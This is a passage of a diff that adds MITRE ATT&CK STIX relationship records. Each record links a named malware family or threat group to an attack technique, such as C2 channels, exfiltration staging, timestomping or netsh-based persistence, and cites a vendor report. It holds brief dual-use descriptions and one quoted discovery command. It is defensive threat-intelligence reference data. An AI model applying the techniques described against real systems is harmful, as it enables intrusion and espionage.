based on specific keywords in the window\u2019s title.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f2f155f1-5152-4681-9c0b-b4a01968fa2e", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) uses HTTP or HTTPS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--73171e71-b769-41ff-874a-ff76da43541f", + "external_references": [ + { + "source_name": "Lotus Blossom Dec 2015", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) used the Plink utility and other tools to create tunnels to C2 servers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--99686b3a-1ca4-4b36-ad4d-a8876d8c65ba", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:30.705Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc72acee-e417-4de8-8084-153e141917b6", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dok](https://attack.mitre.org/software/S0281) uses AppleScript to create a login item for persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79958f80-16ca-4287-b691-9c748d6baf66", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a list of running processes on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1923a47b-5a48-44e6-883f-ca23a96fea46", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "modified": "2019-02-01T14:39:36.313Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has been loaded onto Exchange servers and disguised as an ISAPI filter (DLL file). The IIS w3wp.exe process then loads the malicious DLL.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Psylo](https://attack.mitre.org/software/S0078) has a command to conduct timestomping by setting a specified file\u2019s timestamps to match those of a system file in the System32 directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) uses HTTP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) connects over 443 for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.500Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) stages command output and collected data in files before exfiltration.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df48ab06-0916-4d1d-9142-d0a508d0f0d4", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.814Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:52.011Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--581f8dd6-edd4-467b-a3d5-3177870b0264", + "external_references": [ + { + "source_name": "Demaske Netsh Persistence", + "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.", + "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:48:47.552Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) schedules the execution one of its modules by creating a new scheduler task.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) gathers user names from infected hosts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2fededb7-e713-495c-a317-919c037434a8", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "modified": "2019-07-26T23:00:57.369Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) searches for administrator accounts on both the local victim machine and the network.", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a602be33-6ed6-4f73-b7f6-10b47581707a", + "external_references": [ + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) has the capability to download files to execute on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b95cd32-155b-488d-bbf8-e16f22e2a1d5", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the time the machine was built, the time, and the time zone.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.506Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [CozyCar](https://attack.mitre.org/software/S0046) dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main [CozyCar](https://attack.mitre.org/software/S0046) component.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e24d8d1-7376-493f-a85c-75448c80efed", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.178Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers information about the infected machine.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7507eb37-407e-4428-b29f-da0bda3f7970", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of Mimikatz called Wrapikatz.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ce5e752-97d6-4803-a49c-0f905729a133", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:55.628Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uploads and downloads information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8d6740b-a359-4f5c-b7d4-2189eea77892", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.261Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:59:49.430Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9b0af76-f6b1-43b0-ac0e-ea23582f575b", + "external_references": [ + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "source_ref": "intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0", + "relationship_type": "uses", + "target_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:15:58.206Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--318afc9f-92f3-4262-af70-b2e045b87737", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about services: net start >> %temp%\\download", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:58.190Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT30](https://attack.mitre.org/groups/G0013) may have used the [SHIPSHAPE](https://attack.mitre.org/software/S0028) malware to move onto air-gapped networks. [SHIPSHAPE](https://attack.mitre.org/software/S0028) targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Ke3chang](https://attack.mitre.org/groups/G0004) group has been known to compress data before exfiltration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.481Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) collects the computer name and host name on the compromised system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8840d33c-de12-45d5-a0e3-cdfddf789794", + "external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.637Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d6cf235-4a33-4866-9b73-a7119293e5db", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14" + 